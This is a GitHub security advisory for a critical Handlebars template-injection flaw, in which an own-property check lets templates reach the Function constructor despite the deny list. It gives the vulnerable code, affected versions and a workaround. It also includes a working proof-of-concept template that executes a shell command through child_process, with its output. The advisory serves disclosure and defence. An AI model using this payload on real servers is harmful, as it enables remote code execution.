GHSA-p8wg-vrv2-v86f

Suggest an improvement
Source
https://github.com/advisories/GHSA-p8wg-vrv2-v86f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p8wg-vrv2-v86f/GHSA-p8wg-vrv2-v86f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-p8wg-vrv2-v86f
Aliases
Downstream
Published
2026-10-08T17:52:26Z
Modified
2026-10-08T18:00:09Z
Severity
  • 9.2 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Handlebars: JavaScript Injection via Own Property Check Bypass
Details

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

Database specific
{
    "cwe_ids": [
        "CWE-1289",
        "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:26Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / handlebars

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.7.10

Database specific

last_known_affected_version_range
"<= 4.7.9"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p8wg-vrv2-v86f/GHSA-p8wg-vrv2-v86f.json"